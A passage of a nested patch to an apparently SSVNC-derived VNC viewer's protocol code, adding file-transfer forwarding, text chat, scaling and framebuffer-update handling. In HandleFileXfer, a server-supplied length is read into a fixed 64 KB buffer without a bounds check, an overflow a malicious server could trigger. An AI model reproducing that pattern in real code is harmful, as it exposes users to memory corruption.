-+ if (!dyn || time(NULL) < last_filexfer + delay_filexfer) {
-+#if 0
-+ fprintf(stderr, "skip SendPointerEvent: %d - %d\n", last_filexfer, time(NULL));
-+#endif
-+ return True;
-+ }
-+ }
-
-- pe.type = rfbPointerEvent;
-- pe.buttonMask = buttonMask;
-- if (x < 0) x = 0;
-- if (y < 0) y = 0;
--
-- if (!appData.useX11Cursor)
-- SoftCursorMove(x, y);
--
-- pe.x = Swap16IfLE(x);
-- pe.y = Swap16IfLE(y);
-- return WriteExact(rfbsock, (char *)&pe, sz_rfbPointerEventMsg);
-+ pe.type = rfbPointerEvent;
-+ pe.buttonMask = buttonMask;
-+
-+ if (scale_factor_x > 0.0 && scale_factor_x != 1.0) {
-+ x /= scale_factor_x;
-+ }
-+ if (scale_factor_y > 0.0 && scale_factor_y != 1.0) {
-+ y /= scale_factor_y;
-+ }
-+
-+ if (x < 0) x = 0;
-+ if (y < 0) y = 0;
-+
-+ if (!appData.useX11Cursor) {
-+ SoftCursorMove(x, y);
-+ }
-+
-+ pe.x = Swap16IfLE(x);
-+ pe.y = Swap16IfLE(y);
-+ currentMsg = rfbPointerEvent;
-+ return WriteExact(rfbsock, (char *)&pe, sz_rfbPointerEventMsg);
- }
-
-
-@@ -926,12 +2268,22 @@
- Bool
- SendKeyEvent(CARD32 key, Bool down)
- {
-- rfbKeyEventMsg ke;
-+ rfbKeyEventMsg ke;
-+
-+ if (appData.fileActive) {
-+ if (!dyn || time(NULL) < last_filexfer + delay_filexfer) {
-+#if 0
-+ fprintf(stderr, "skip SendPointerEvent: %d - %d\n", last_filexfer, time(NULL));
-+#endif
-+ return True;
-+ }
-+ }
-
-- ke.type = rfbKeyEvent;
-- ke.down = down ? 1 : 0;
-- ke.key = Swap32IfLE(key);
-- return WriteExact(rfbsock, (char *)&ke, sz_rfbKeyEventMsg);
-+ ke.type = rfbKeyEvent;
-+ ke.down = down ? 1 : 0;
-+ ke.key = Swap32IfLE(key);
-+ currentMsg = rfbKeyEvent;
-+ return WriteExact(rfbsock, (char *)&ke, sz_rfbKeyEventMsg);
- }
-
-
-@@ -942,281 +2294,1025 @@
- Bool
- SendClientCutText(char *str, int len)
- {
-- rfbClientCutTextMsg cct;
-+ rfbClientCutTextMsg cct;
-+
-+ if (serverCutText) {
-+ free(serverCutText);
-+ }
-+ serverCutText = NULL;
-+
-+ if (appData.fileActive) {
-+ if (!dyn || time(NULL) < last_filexfer + delay_filexfer) {
-+ /* ultravnc java viewer lets this one through. */
-+ return True;
-+ }
-+ }
-+
-+ if (appData.viewOnly) {
-+ return True;
-+ }
-
-- if (serverCutText)
-- free(serverCutText);
-- serverCutText = NULL;
--
-- cct.type = rfbClientCutText;
-- cct.length = Swap32IfLE(len);
-- return (WriteExact(rfbsock, (char *)&cct, sz_rfbClientCutTextMsg) &&
-- WriteExact(rfbsock, str, len));
-+ cct.type = rfbClientCutText;
-+ cct.length = Swap32IfLE((unsigned int) len);
-+ currentMsg = rfbClientCutText;
-+ return (WriteExact(rfbsock, (char *)&cct, sz_rfbClientCutTextMsg) &&
-+ WriteExact(rfbsock, str, len));
- }
-
-+static int ultra_scale = 0;
-
--/*
-- * HandleRFBServerMessage.
-- */
-+Bool
-+SendServerScale(int nfac)
-+{
-+ rfbSetScaleMsg ssc;
-+ if (nfac < 0 || nfac > 100) {
-+ return True;
-+ }
-+
-+ ultra_scale = nfac;
-+ ssc.type = rfbSetScale;
-+ ssc.scale = nfac;
-+ currentMsg = rfbSetScale;
-+ return WriteExact(rfbsock, (char *)&ssc, sz_rfbSetScaleMsg);
-+}
-
- Bool
--HandleRFBServerMessage()
-+SendServerInput(Bool enabled)
- {
-- rfbServerToClientMsg msg;
-+ rfbSetServerInputMsg sim;
-
-- if (!ReadFromRFBServer((char *)&msg, 1))
-- return False;
-+ sim.type = rfbSetServerInput;
-+ sim.status = enabled;
-+ currentMsg = rfbSetServerInput;
-+ return WriteExact(rfbsock, (char *)&sim, sz_rfbSetServerInputMsg);
-+}
-
-- switch (msg.type) {
-+Bool
-+SendSingleWindow(int x, int y)
-+{
-+ static int w_old = -1, h_old = -1;
-+ rfbSetSWMsg sw;
-
-- case rfbSetColourMapEntries:
-- {
-- int i;
-- CARD16 rgb[3];
-- XColor xc;
-+ fprintf(stderr, "SendSingleWindow: %d %d\n", x, y);
-
-- if (!ReadFromRFBServer(((char *)&msg) + 1,
-- sz_rfbSetColourMapEntriesMsg - 1))
-- return False;
-+ if (x == -1 && y == -1) {
-+ sw.type = rfbSetSW;
-+ sw.x = Swap16IfLE(1);
-+ sw.y = Swap16IfLE(1);
-+ if (w_old > 0) {
-+ si.framebufferWidth = w_old;
-+ si.framebufferHeight = h_old;
-+ ReDoDesktop();
-+ }
-+ w_old = h_old = -1;
-+ } else {
-+ sw.type = rfbSetSW;
-+ sw.x = Swap16IfLE(x);
-+ sw.y = Swap16IfLE(y);
-+ w_old = si.framebufferWidth;
-+ h_old = si.framebufferHeight;
-+
-+ }
-+ sw.status = True;
-+ currentMsg = rfbSetSW;
-+ return WriteExact(rfbsock, (char *)&sw, sz_rfbSetSWMsg);
-+}
-
-- msg.scme.firstColour = Swap16IfLE(msg.scme.firstColour);
-- msg.scme.nColours = Swap16IfLE(msg.scme.nColours);
-+Bool
-+SendTextChat(char *str)
-+{
-+ static int db = -1;
-+ rfbTextChatMsg chat;
-
-- for (i = 0; i < msg.scme.nColours; i++) {
-- if (!ReadFromRFBServer((char *)rgb, 6))
-- return False;
-- xc.pixel = msg.scme.firstColour + i;
-- xc.red = Swap16IfLE(rgb[0]);
-- xc.green = Swap16IfLE(rgb[1]);
-- xc.blue = Swap16IfLE(rgb[2]);
-- xc.flags = DoRed|DoGreen|DoBlue;
-- XStoreColor(dpy, cmap, &xc);
-- }
-+ if (db < 0) {
-+ if (getenv("SSVNC_DEBUG_CHAT")) {
-+ db = 1;
-+ } else {
-+ db = 0;
-+ }
-+ }
-+ if (!appData.chatActive) {
-+ SendTextChatOpen();
-+ appData.chatActive = True;
-+ }
-
-- break;
-- }
-+ chat.type = rfbTextChat;
-+ chat.pad1 = 0;
-+ chat.pad2 = 0;
-+ chat.length = (unsigned int) strlen(str);
-+ if (db) fprintf(stderr, "SendTextChat: %d '%s'\n", (int) chat.length, str);
-+ chat.length = Swap32IfLE(chat.length);
-+ if (!WriteExact(rfbsock, (char *)&chat, sz_rfbTextChatMsg)) {
-+ return False;
-+ }
-+ currentMsg = rfbTextChat;
-+ return WriteExact(rfbsock, str, strlen(str));
-+}
-
-- case rfbFramebufferUpdate:
-- {
-- rfbFramebufferUpdateRectHeader rect;
-- int linesToRead;
-- int bytesPerLine;
-- int i;
-- int usecs;
-+extern void raiseme(int force);
-
-- if (!ReadFromRFBServer(((char *)&msg.fu) + 1,
-- sz_rfbFramebufferUpdateMsg - 1))
-- return False;
-+Bool
-+SendTextChatOpen(void)
-+{
-+ rfbTextChatMsg chat;
-
-- msg.fu.nRects = Swap16IfLE(msg.fu.nRects);
-+ raiseme(0);
-+ chat.type = rfbTextChat;
-+ chat.pad1 = 0;
-+ chat.pad2 = 0;
-+ chat.length = Swap32IfLE(rfbTextChatOpen);
-+ return WriteExact(rfbsock, (char *)&chat, sz_rfbTextChatMsg);
-+}
-
-- for (i = 0; i < msg.fu.nRects; i++) {
-- if (!ReadFromRFBServer((char *)&rect, sz_rfbFramebufferUpdateRectHeader))
-- return False;
-+Bool
-+SendTextChatClose(void)
-+{
-+ rfbTextChatMsg chat;
-+ chat.type = rfbTextChat;
-+ chat.pad1 = 0;
-+ chat.pad2 = 0;
-+ chat.length = Swap32IfLE(rfbTextChatClose);
-+ appData.chatActive = False;
-+ return WriteExact(rfbsock, (char *)&chat, sz_rfbTextChatMsg);
-+}
-
-- rect.encoding = Swap32IfLE(rect.encoding);
-- if (rect.encoding == rfbEncodingLastRect)
-- break;
-+Bool
-+SendTextChatFinished(void)
-+{
-+ rfbTextChatMsg chat;
-+ chat.type = rfbTextChat;
-+ chat.pad1 = 0;
-+ chat.pad2 = 0;
-+ chat.length = Swap32IfLE(rfbTextChatFinished);
-+ appData.chatActive = False;
-+ return WriteExact(rfbsock, (char *)&chat, sz_rfbTextChatMsg);
-+}
-+
-+extern int do_format_change;
-+extern int do_cursor_change;
-+extern double do_fb_update;
-+extern void cutover_format_change(void);
-+
-+double dtime(double *t_old) {
-+ /*
-+ * usage: call with 0.0 to initialize, subsequent calls give
-+ * the time difference since last call.
-+ */
-+ double t_now, dt;
-+ struct timeval now;
-+
-+ gettimeofday(&now, NULL);
-+ t_now = now.tv_sec + ( (double) now.tv_usec/1000000. );
-+ if (*t_old == 0.0) {
-+ *t_old = t_now;
-+ return t_now;
-+ }
-+ dt = t_now - *t_old;
-+ *t_old = t_now;
-+ return(dt);
-+}
-+
-+/* common dtime() activities: */
-+double dtime0(double *t_old) {
-+ *t_old = 0.0;
-+ return dtime(t_old);
-+}
-+
-+double dnow(void) {
-+ double t;
-+ return dtime0(&t);
-+}
-+
-+static char fxfer[65536];
-+
-+Bool HandleFileXfer(void) {
-+ unsigned char hdr[12];
-+ unsigned int len;
-+
-+ int rfbDirContentRequest = 1;
-+ int rfbDirPacket = 2; /* Full directory name or full file name. */
-+ int rfbFileTransferRequest = 3;
-+ int rfbFileHeader = 4;
-+ int rfbFilePacket = 5; /* One slice of the file */
-+ int rfbEndOfFile = 6;
-+ int rfbAbortFileTransfer = 7;
-+ int rfbFileTransferOffer = 8;
-+ int rfbFileAcceptHeader = 9; /* The server accepts or rejects the file */
-+ int rfbCommand = 10;
-+ int rfbCommandReturn = 11;
-+ int rfbFileChecksums = 12;
-+
-+ int rfbRDirContent = 1; /* Request a Server Directory contents */
-+ int rfbRDrivesList = 2; /* Request the server's drives list */
-+
-+ int rfbADirectory = 1; /* Reception of a directory name */
-+ int rfbAFile = 2; /* Reception of a file name */
-+ int rfbADrivesList = 3; /* Reception of a list of drives */
-+ int rfbADirCreate = 4; /* Response to a create dir command */
-+ int rfbADirDelete = 5; /* Response to a delete dir command */
-+ int rfbAFileCreate = 6; /* Response to a create file command */
-+ int rfbAFileDelete = 7; /* Response to a delete file command */
-+
-+ int rfbCDirCreate = 1; /* Request the server to create the given directory */
-+ int rfbCDirDelete = 2; /* Request the server to delete the given directory */
-+ int rfbCFileCreate = 3; /* Request the server to create the given file */
-+ int rfbCFileDelete = 4; /* Request the server to delete the given file */
-+
-+ int rfbRErrorUnknownCmd = 1; /* Unknown FileTransfer command. */
-+#define rfbRErrorCmd 0xFFFFFFFF
-+
-+ static int db = -1;
-+ static int guess_x11vnc = 0;
-+
-+#if 0
-+ if (filexfer_sock < 0) {
-+ return True;
-+ }
-+ /* instead, we read and discard the ft msg data. */
-+#endif
-+
-+/*fprintf(stderr, "In HandleFileXfer\n"); */
-
-- rect.r.x = Swap16IfLE(rect.r.x);
-- rect.r.y = Swap16IfLE(rect.r.y);
-- rect.r.w = Swap16IfLE(rect.r.w);
-- rect.r.h = Swap16IfLE(rect.r.h);
--
-- if (rect.encoding == rfbEncodingXCursor ||
-- rect.encoding == rfbEncodingRichCursor) {
-- if (!HandleCursorShape(rect.r.x, rect.r.y, rect.r.w, rect.r.h,
-- rect.encoding)) {
-- return False;
-+ if (db < 0) {
-+ if (getenv("DEBUG_HandleFileXfer")) {
-+ db = 1;
-+ } else {
-+ db = 0;
-+ }
- }
-- continue;
-- }
-
-- if (rect.encoding == rfbEncodingPointerPos) {
-- if (!HandleCursorPos(rect.r.x, rect.r.y)) {
-- return False;
-+ last_filexfer = time(NULL);
-+ /*fprintf(stderr, "last_filexfer-1: %d\n", last_filexfer); */
-+
-+ /* load first byte to send to Java be the FT msg number: */
-+ hdr[0] = rfbFileTransfer;
-+
-+ /* this is to avoid XtAppProcessEvent() calls induce by our ReadFromRFBServer calls below: */
-+ skip_XtUpdateAll = 1;
-+ if (!ReadFromRFBServer(&hdr[1], 11)) {
-+ skip_XtUpdateAll = 0;
-+ return False;
-+ }
-+ if (filexfer_sock >= 0) {
-+ write(filexfer_sock, hdr, 12);
-+ } else {
-+ fprintf(stderr, "filexfer_sock closed, discarding 12 bytes\n");
-+ }
-+ if (db) fprintf(stderr, "\n");
-+ if (db) fprintf(stderr, "Got rfbFileTransfer hdr\n");
-+ if (db > 1) write(2, hdr, 12);
-+
-+ if (db) {
-+ int i;
-+ fprintf(stderr, "HFX HDR:");
-+ for (i=0; i < 12; i++) {
-+ fprintf(stderr, " %d", (int) hdr[i]);
-+ }
-+ fprintf(stderr, "\n");
- }
-- continue;
-- }
-
-- if ((rect.r.x + rect.r.w > si.framebufferWidth) ||
-- (rect.r.y + rect.r.h > si.framebufferHeight))
-- {
-- fprintf(stderr,"Rect too large: %dx%d at (%d, %d)\n",
-- rect.r.w, rect.r.h, rect.r.x, rect.r.y);
-- return False;
-+ if (hdr[1] == rfbEndOfFile) {
-+ goto read_no_more;
-+ } else if (hdr[1] == rfbAbortFileTransfer) {
-+ goto read_no_more;
- }
-
-- if (rect.r.h * rect.r.w == 0) {
-- fprintf(stderr,"Zero size rect - ignoring\n");
-- continue;
-- }
-+ if (hdr[1] == rfbDirPacket && hdr[3] == rfbADirectory) {
-+
-+ }
-+
-+ len = (hdr[8] << 24) | (hdr[9] << 16) | (hdr[10] << 8) | hdr[11];
-+ if (db) fprintf(stderr, "Got rfbFileTransfer: len1 %u\n", len);
-+ if (len > 0) {
-+ if (!ReadFromRFBServer(fxfer, len)) {
-+ skip_XtUpdateAll = 0;
-+ return False;
-+ }
-+ if (db > 1) write(2, fxfer, len);
-+ if (len >= 12 && hdr[1] == rfbDirPacket) {
-+ /* try to guess if x11vnc or not... */
-+ if (db) {
-+ int i;
-+ fprintf(stderr, "HFX DIR PKT (attr, timeL, timeH):");
-+ for (i=0; i < 12; i++) {
-+ fprintf(stderr, " %d", (unsigned char) fxfer[i]);
-+ }
-+ fprintf(stderr, "\n");
-+ }
-+ if (hdr[2] == 1) {
-+ int dattr = (unsigned char) fxfer[0];
-+ int timeL1 = (unsigned char) fxfer[4];
-+ int timeL2 = (unsigned char) fxfer[5];
-+ int timeL3 = (unsigned char) fxfer[6];
-+ int timeL4 = (unsigned char) fxfer[7];
-+ int timeH1 = (unsigned char) fxfer[8];
-+ int timeH2 = (unsigned char) fxfer[9];
-+ int timeH3 = (unsigned char) fxfer[10];
-+ int timeH4 = (unsigned char) fxfer[11];
-+ if (dattr != 0) {
-+ if (timeH1 == 0 && timeH2 == 0 && timeH3 == 0 && timeH4 == 0) {
-+ if ((timeL1 != 0 || timeL2 != 0) && timeL3 != 0 && timeL4 != 0) {
-+ if (!guess_x11vnc) fprintf(stderr, "guessed x11vnc server\n");
-+ guess_x11vnc = 1;
-+ }
-+ }
-+ }
-+ }
-+ }
-+ if (db && 0) fprintf(stderr, "\n");
-+ if (filexfer_sock >= 0) {
-+ write(filexfer_sock, fxfer, len);
-+ } else {
-+ fprintf(stderr, "filexfer_sock closed, discarding %d bytes\n", len);
-+ }
-+ }
-+
-+ len = (hdr[4] << 24) | (hdr[5] << 16) | (hdr[6] << 8) | hdr[7];
-+ if (db) fprintf(stderr, "Got rfbFileTransfer: len2 %u\n", len);
-+
-+#if 0
-+ if (hdr[1] == rfbFileHeader && len != rfbRErrorCmd)
-+#else
-+ /* the extra 4 bytes get send on rfbRErrorCmd as well. */
-+ if (hdr[1] == rfbFileHeader) {
-+#endif
-+ int is_err = 0;
-+ if (len == rfbRErrorCmd) {
-+ is_err = 1;
-+ }
-+ if (db) fprintf(stderr, "Got rfbFileTransfer: rfbFileHeader\n");
-+ if (is_err && guess_x11vnc) {
-+ fprintf(stderr, "rfbRErrorCmd x11vnc skip read 4 bytes.\n");
-+ goto read_no_more;
-+ }
-+ len = 4;
-+ if (!ReadFromRFBServer(fxfer, len)) {
-+ skip_XtUpdateAll = 0;
-+ return False;
-+ }
-+ if (db > 1) write(2, fxfer, len);
-+ if (db && 0) fprintf(stderr, "\n");
-+ if (is_err) {
-+ fprintf(stderr, "rfbRErrorCmd skip write 4 bytes.\n");
-+ goto read_no_more;
-+ }
-+ if (filexfer_sock >= 0) {
-+ write(filexfer_sock, fxfer, len);
-+ } else {
-+ fprintf(stderr, "filexfer_sock closed, discarding %d bytes\n", len);
-+ }
-+ }
-
-- /* If RichCursor encoding is used, we should prevent collisions
-- between framebuffer updates and cursor drawing operations. */
-- SoftCursorLockArea(rect.r.x, rect.r.y, rect.r.w, rect.r.h);
-+ read_no_more:
-
-- switch (rect.encoding) {
-+ if (filexfer_sock < 0) {
-+ int stop = 0;
-+ static time_t last_stop = 0;
-+#if 0
-+ /* this isn't working */
-+ if (hdr[1] == rfbFilePacket || hdr[1] == rfbFileHeader) {
-+ fprintf(stderr, "filexfer_sock closed, trying to abort receive\n");
-+ stop = 1;
-+ }
-+#endif
-+ if (stop && time(NULL) > last_stop+1) {
-+ unsigned char rpl[12];
-+ int k;
-+ rpl[0] = rfbFileTransfer;
-+ rpl[1] = rfbAbortFileTransfer;
-+ for (k=2; k < 12; k++) {
-+ rpl[k] = 0;
-+ }
-+ WriteExact(rfbsock, rpl, 12);
-+ last_stop = time(NULL);
-+ }
-+ }
-
-- case rfbEncodingRaw:
-+ if (db) fprintf(stderr, "Got rfbFileTransfer done.\n");
-+ skip_XtUpdateAll = 0;
-
-- bytesPerLine = rect.r.w * myFormat.bitsPerPixel / 8;
-- linesToRead = BUFFER_SIZE / bytesPerLine;
-+ if (db) fprintf(stderr, "CFX: B\n");
-+ CheckFileXfer();
-+/*fprintf(stderr, "Out HandleFileXfer\n"); */
-+ return True;
-+}
-
-- while (rect.r.h > 0) {
-- if (linesToRead > rect.r.h)
-- linesToRead = rect.r.h;
-+/*
-+ * HandleRFBServerMessage.
-+ */
-
-- if (!ReadFromRFBServer(buffer,bytesPerLine * linesToRead))
-- return False;
-
-- CopyDataToScreen(buffer, rect.r.x, rect.r.y, rect.r.w,
-- linesToRead);
-+Bool
-+HandleRFBServerMessage()
-+{
-+ static int db = -1;
-+ rfbServerToClientMsg msg;
-
-- rect.r.h -= linesToRead;
-- rect.r.y += linesToRead;
-+ if (db < 0) {
-+ if (getenv("DEBUG_RFB_SMSG")) {
-+ db = 1;
-+ } else {
-+ db = 0;
-+ }
-+ }
-
-+ if (!ReadFromRFBServer((char *)&msg, 1)) {
-+ return False;
- }
-- break;
-+ if (appData.ultraDSM) {
-+ if (!ReadFromRFBServer((char *)&msg, 1)) {
-+ return False;
-+ }
-+ }
-+
-+/*fprintf(stderr, "msg.type: %d\n", msg.type); */
-
-- case rfbEncodingCopyRect:
-- {
-- rfbCopyRect cr;
--
-- if (!ReadFromRFBServer((char *)&cr, sz_rfbCopyRect))
-- return False;
--
-- cr.srcX = Swap16IfLE(cr.srcX);
-- cr.srcY = Swap16IfLE(cr.srcY);
--
-- /* If RichCursor encoding is used, we should extend our
-- "cursor lock area" (previously set to destination
-- rectangle) to the source rectangle as well. */
-- SoftCursorLockArea(cr.srcX, cr.srcY, rect.r.w, rect.r.h);
--
-- if (appData.copyRectDelay != 0) {
-- XFillRectangle(dpy, desktopWin, srcGC, cr.srcX, cr.srcY,
-- rect.r.w, rect.r.h);
-- XFillRectangle(dpy, desktopWin, dstGC, rect.r.x, rect.r.y,
-- rect.r.w, rect.r.h);
-- XSync(dpy,False);
-- usleep(appData.copyRectDelay * 1000);
-- XFillRectangle(dpy, desktopWin, dstGC, rect.r.x, rect.r.y,
-- rect.r.w, rect.r.h);
-- XFillRectangle(dpy, desktopWin, srcGC, cr.srcX, cr.srcY,
-- rect.r.w, rect.r.h);
-+ if (msg.type == rfbFileTransfer) {
-+ return HandleFileXfer();
- }
-
-- XCopyArea(dpy, desktopWin, desktopWin, gc, cr.srcX, cr.srcY,
-- rect.r.w, rect.r.h, rect.r.x, rect.r.y);
-+ switch (msg.type) {
-
-- break;
-- }
-+ case rfbSetColourMapEntries:
-+ {
-+ int i;
-+ CARD16 rgb[3];
-+ XColor xc;
-
-- case rfbEncodingRRE:
-- {
-- switch (myFormat.bitsPerPixel) {
-- case 8:
-- if (!HandleRRE8(rect.r.x,rect.r.y,rect.r.w,rect.r.h))
-- return False;
-- break;
-- case 16:
-- if (!HandleRRE16(rect.r.x,rect.r.y,rect.r.w,rect.r.h))
-- return False;
-- break;
-- case 32:
-- if (!HandleRRE32(rect.r.x,rect.r.y,rect.r.w,rect.r.h))
-- return False;
-- break;
-+ if (!ReadFromRFBServer(((char *)&msg) + 1, sz_rfbSetColourMapEntriesMsg - 1)) {
-+ return False;
- }
-- break;
-- }
-
-- case rfbEncodingCoRRE:
-- {
-- switch (myFormat.bitsPerPixel) {
-- case 8:
-- if (!HandleCoRRE8(rect.r.x,rect.r.y,rect.r.w,rect.r.h))
-- return False;
-- break;
-- case 16:
-- if (!HandleCoRRE16(rect.r.x,rect.r.y,rect.r.w,rect.r.h))
-- return False;
-- break;
-- case 32:
-- if (!HandleCoRRE32(rect.r.x,rect.r.y,rect.r.w,rect.r.h))
-- return False;
-- break;
-+ msg.scme.firstColour = Swap16IfLE(msg.scme.firstColour);
-+ msg.scme.nColours = Swap16IfLE(msg.scme.nColours);
-+
-+ for (i = 0; i < msg.scme.nColours; i++) {
-+ if (!ReadFromRFBServer((char *)rgb, 6)) {
-+ return False;
-+ }
-+ xc.pixel = msg.scme.firstColour + i;
-+ xc.red = Swap16IfLE(rgb[0]);
-+ xc.green = Swap16IfLE(rgb[1]);
-+ xc.blue = Swap16IfLE(rgb[2]);
-+ if (appData.useGreyScale) {
-+ int ave = (xc.red + xc.green + xc.blue)/3;
-+ xc.red = ave;
-+ xc.green = ave;
-+ xc.blue = ave;
-+ }
-+ xc.flags = DoRed|DoGreen|DoBlue;
-+ XStoreColor(dpy, cmap, &xc);
- }
-+
- break;
-- }
-+ }
-+
-+ case rfbFramebufferUpdate:
-+ {
-+ rfbFramebufferUpdateRectHeader rect;
-+ int linesToRead;
-+ int bytesPerLine;
-+ int i;
-+
-+ int area_copyrect = 0;
-+ int area_tight = 0;
-+ int area_zrle = 0;
-+ int area_raw = 0;
-+ static int rdb = -1;
-+ static int delay_sync = -1;
-+ static int delay_sync_env = -1;
-+ int try_delay_sync = 0;
-+ int cnt_pseudo = 0;
-+ int cnt_image = 0;
-+
-+ int skip_incFBU = 0;
-+
-+ if (db) fprintf(stderr, "FBU-0: %.6f\n", dnow());
-+ if (rdb < 0) {
-+ if (getenv("SSVNC_DEBUG_RECTS")) {
-+ rdb = atoi(getenv("SSVNC_DEBUG_RECTS"));
-+ } else {
-+ rdb = 0;
-+ }
-+ }
-+ if (delay_sync < 0) {
-+ if (getenv("SSVNC_DELAY_SYNC")) {
-+ delay_sync = atoi(getenv("SSVNC_DELAY_SYNC"));
-+ delay_sync_env = delay_sync;
-+ } else {
-+ delay_sync = 0;
-+ }
-+ }
-+
-+ sent_FBU = -1;
-
-- case rfbEncodingHextile:
-- {
-- switch (myFormat.bitsPerPixel) {
-- case 8:
-- if (!HandleHextile8(rect.r.x,rect.r.y,rect.r.w,rect.r.h))
-- return False;
-- break;
-- case 16:
-- if (!HandleHextile16(rect.r.x,rect.r.y,rect.r.w,rect.r.h))
-- return False;
-- break;
-- case 32:
-- if (!HandleHextile32(rect.r.x,rect.r.y,rect.r.w,rect.r.h))
-- return False;
-- break;
-+ if (appData.pipelineUpdates) {
-+ /* turbovnc speed idea */
-+ XEvent ev;
-+ memset(&ev, 0, sizeof(ev));
-+ ev.xclient.type = ClientMessage;
-+ ev.xclient.window = XtWindow(desktop);
-+ ev.xclient.message_type = XA_INTEGER;
-+ ev.xclient.format = 8;
-+ strcpy(ev.xclient.data.b, "SendRFBUpdate");
-+ XSendEvent(dpy, XtWindow(desktop), False, 0, &ev);
- }
-- break;
-- }
-
-- case rfbEncodingZlib:
-- {
-- switch (myFormat.bitsPerPixel) {
-- case 8:
-- if (!HandleZlib8(rect.r.x,rect.r.y,rect.r.w,rect.r.h))
-- return False;
-- break;
-- case 16:
-- if (!HandleZlib16(rect.r.x,rect.r.y,rect.r.w,rect.r.h))
-- return False;
-- break;
-- case 32:
-- if (!HandleZlib32(rect.r.x,rect.r.y,rect.r.w,rect.r.h))
-- return False;
-- break;
-+ if (!ReadFromRFBServer(((char *)&msg.fu) + 1, sz_rfbFramebufferUpdateMsg - 1)) {
-+ return False;
- }
-- break;
-- }
-
-- case rfbEncodingTight:
-- {
-- switch (myFormat.bitsPerPixel) {
-- case 8:
-- if (!HandleTight8(rect.r.x,rect.r.y,rect.r.w,rect.r.h))
-- return False;
-- break;
-- case 16:
-- if (!HandleTight16(rect.r.x,rect.r.y,rect.r.w,rect.r.h))
-- return False;
-- break;
-- case 32:
-- if (!HandleTight32(rect.r.x,rect.r.y,rect.r.w,rect.r.h))
-- return False;
-- break;
-+ msg.fu.nRects = Swap16IfLE(msg.fu.nRects);
-+
-+ if (rdb) fprintf(stderr, "Begin rect loop %d\n", msg.fu.nRects);
-+
-+ if (delay_sync) {
-+ try_delay_sync = 1;
-+ } else {
-+ if (delay_sync_env != -1 && delay_sync_env == 0) {
-+ ;
-+ } else if (appData.yCrop > 0) {
-+ ;
-+ } else if (scale_factor_x > 0.0 && scale_factor_x != 1.0) {
-+ ;
-+ } else if (scale_factor_y > 0.0 && scale_factor_y != 1.0) {
-+ ;
-+ } else {
-+ static int msg = 0;
-+ /* fullScreen? */
-+ /* useXserverBackingStore? */
-+ /* useX11Cursor & etc? */
-+ /* scrollbars? */
-+ if (!msg) {
-+ fprintf(stderr, "enabling 'delay_sync' mode for faster local drawing,\ndisable via env SSVNC_DELAY_SYNC=0 if there are painting errors.\n");
-+ msg = 1;
-+ }
-+ try_delay_sync = 1;
-+ }
-+ }
-+ if (try_delay_sync) {
-+ skip_maybe_sync = 1;
-+ }
-+#define STOP_DELAY_SYNC \
-+ if (try_delay_sync) { \
-+ if (cnt_image && skip_maybe_sync) { \
-+ XSync(dpy, False); \
-+ } \
-+ try_delay_sync = 0; \
-+ skip_maybe_sync = 0; \
- }
-- break;
-- }
-
-- default:
-- fprintf(stderr,"Unknown rect encoding %d\n",
-- (int)rect.encoding);
-- return False;
-- }
-+ for (i = 0; i < msg.fu.nRects; i++) {
-+ if (!ReadFromRFBServer((char *)&rect, sz_rfbFramebufferUpdateRectHeader)) {
-+ return False;
-+ }
-+
-+ rect.encoding = Swap32IfLE(rect.encoding);
-+ if (rect.encoding == rfbEncodingLastRect) {
-+ break;
-+ }
-+
-+ rect.r.x = Swap16IfLE(rect.r.x);
-+ rect.r.y = Swap16IfLE(rect.r.y);
-+ rect.r.w = Swap16IfLE(rect.r.w);
-+ rect.r.h = Swap16IfLE(rect.r.h);
-+
-+ if (rdb > 1) fprintf(stderr, "nRects: %d i=%d enc: %d %dx%d+%d+%d\n", msg.fu.nRects, i, (int) rect.encoding, rect.r.w, rect.r.h, rect.r.x, rect.r.y);
-+
-+ if (rect.encoding == rfbEncodingXCursor || rect.encoding == rfbEncodingRichCursor) {
-+ cnt_pseudo++;
-+ STOP_DELAY_SYNC
-+
-+ if (db) fprintf(stderr, "FBU-Cur1 %.6f\n", dnow());
-+ if (!HandleCursorShape(rect.r.x, rect.r.y, rect.r.w, rect.r.h, rect.encoding)) {
-+ return False;
-+ }
-+ if (db) fprintf(stderr, "FBU-Cur2 %.6f\n", dnow());
-+ continue;
-+ }
-+
-+ if (rect.encoding == rfbEncodingPointerPos) {
-+ cnt_pseudo++;
-+ STOP_DELAY_SYNC
-+ if (db) fprintf(stderr, "FBU-Pos1 %.6f\n", dnow());
-+ if (0) fprintf(stderr, "CursorPos: %d %d / %d %d\n", rect.r.x, rect.r.y, rect.r.w, rect.r.h);
-+ if (ultra_scale > 0) {
-+ int f = ultra_scale;
-+ if (!HandleCursorPos(rect.r.x/f, rect.r.y/f)) {
-+ return False;
-+ }
-+ } else {
-+ if (!HandleCursorPos(rect.r.x, rect.r.y)) {
-+ return False;
-+ }
-+ }
-+ if (db) fprintf(stderr, "FBU-Pos2 %.6f\n", dnow());
-+ continue;
-+ }
-+ if (rect.encoding == rfbEncodingNewFBSize) {
-+ cnt_pseudo++;
-+ STOP_DELAY_SYNC
-+ if (appData.chatOnly) {
-+ continue;
-+ }
-+ fprintf(stderr,"New Size: %dx%d at (%d, %d)\n", rect.r.w, rect.r.h, rect.r.x, rect.r.y);
-+ si.framebufferWidth = rect.r.w;
-+ si.framebufferHeight = rect.r.h;
-+ /*fprintf(stderr, "si: %d %d\n", si.framebufferWidth, si.framebufferHeight); */
-+ ReDoDesktop();
-+ continue;
-+ }
-+ if (rdb) fprintf(stderr,"Rect: %dx%d at (%d, %d)\n", rect.r.w, rect.r.h, rect.r.x, rect.r.y);
-+ cnt_image++;
-+
-+ if (appData.ultraDSM) {
-+ /*
-+ * What a huge mess the UltraVNC DSM plugin is!!!
-+ * We read and ignore their little "this much data" hint...
-+ */
-+ switch (rect.encoding)
-+ {
-+ case rfbEncodingRaw:
-+ case rfbEncodingRRE:
-+ case rfbEncodingCoRRE:
-+ case rfbEncodingHextile:
-+ /*case rfbEncodingUltra: */
-+/* case rfbEncodingZlib: */
-+ /*case rfbEncodingXOR_Zlib: */
-+ /*case rfbEncodingXORMultiColor_Zlib: */
-+ /*case rfbEncodingXORMonoColor_Zlib: */
-+ /*case rfbEncodingSolidColor: */
-+ case rfbEncodingTight:
-+ case rfbEncodingZlibHex:
-+ case rfbEncodingZRLE:
-+ case rfbEncodingZYWRLE:
-+ {
-+ CARD32 discard;
-+ ReadFromRFBServer((char *)&discard, sizeof(CARD32));
-+ }
-+ break;
-+ }
-+ }
-+
-+ if ((rect.r.x + rect.r.w > si.framebufferWidth) ||
-+ (rect.r.y + rect.r.h > si.framebufferHeight)) {
-+ if (!appData.chatOnly) {
